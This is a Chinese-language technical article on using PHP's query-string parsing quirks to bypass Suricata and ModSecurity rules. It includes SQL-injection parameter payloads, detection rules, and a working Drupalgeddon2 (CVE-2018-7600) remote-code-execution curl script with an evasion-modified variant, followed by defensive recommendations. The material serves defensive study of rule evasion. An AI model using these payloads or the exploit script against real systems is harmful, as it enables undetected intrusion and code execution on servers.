利用PHP的字符串解析特性Bypass
字数 977 2025-08-18 11:39:00
PHP字符串解析特性绕过WAF/IDS技术分析
一、PHP查询字符串解析机制
PHP在处理查询字符串(URL或POST数据)时会自动将其转换为$_GET或$_POST关联数组,此过程存在特殊字符处理机制:
-
字符转换规则:
- 删除空白符
- 将某些特殊字符转换为下划线(包括空格)
- 示例转换表:
用户输入 PHP变量名 %20foo_bar%00 foo_bar foo%20bar%00 foo_bar foo%5bbar foo_bar -
特殊字符处理:
- 空字符(%00)会被截断
- 方括号(%5b)会被转换为下划线
- 空格(%20或+)会被转换为下划线
二、绕过技术原理
1. 基本绕过方法
利用PHP解析特性可以构造以下形式的参数绕过检测:
/news.php?%20news[id%00=42"+AND+1=0--
解析后实际参数为:
$_GET["news_id"] = "42\"+AND+1=0--"
2. 字符位置影响
通过测试不同位置的特殊字符发现:
- 第一个字符位置:
[1st]foo_bar - 中间字符位置:
foo[2nd]bar - 末尾字符位置:
foo_bar[3rd]
三、实际绕过案例
1. 绕过Suricata规则
原始规则示例:
alert http any any -> $HOME_NET any (
msg: "Block SQLi";
flow:established,to_server;
content: "POST"; http_method;
pcre: "/news_id=[^0-9]+/Pi";
sid:1234567;
)
绕过方式:
/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'
2. 绕过ModSecurity WAF
原始规则:
SecRule !ARGS:news_id "@rx ^[0-9]+$" "block"
有效防御方式:
SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"
四、高级绕过技术:Drupalgeddon2案例
1. 原始攻击载荷
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
2. Suricata防御规则
- 自定义规则:
alert http any any -> $HOME_NET any (
msg: "Possible Drupalgeddon2 attack";
flow: established, to_server;
content: "/user/register"; http_uri;
content: "POST"; http_method;
pcre: "/form_id=user_register_form/Pi";
sid: 10002807;
rev: 1;
)
- 通用规则:
alert http any any -> $HOME_NET any (
msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE";
flow: established, to_server;
content: "/user/register"; http_uri;
content: "POST"; http_method;
content: "drupal"; http_client_body;
pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi";
reference: cve, 2018-7600;
sid: 10002808;
rev: 2;
)
3. 绕过方案
- 替换
form_id为form%5bid - 替换
post_render为post%5frender
最终绕过载荷:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
五、防御建议
-
WAF/IDS规则优化:
- 使用更严格的正则表达式匹配参数名
- 考虑参数名的各种编码形式
- 对关键参数进行多重验证
-
PHP应用层防御:
- 对输入参数进行严格过滤
- 禁用危险函数
- 使用参数白名单机制
-
Suricata规则改进:
- 添加对参数名编码变体的检测
- 结合多个特征进行综合判断
- 对关键操作实施二次验证
六、总结
PHP的字符串解析特性在特定场景下可被用于绕过安全检测,安全产品开发者需要深入理解这些特性并针对性加强防御。防御方应当:
- 了解攻击者可能使用的各种编码和变形技术
- 在规则中考虑参数名的各种可能形式
- 实施多层防御策略,不依赖单一检测点
- 定期更新规则以应对新的绕过技术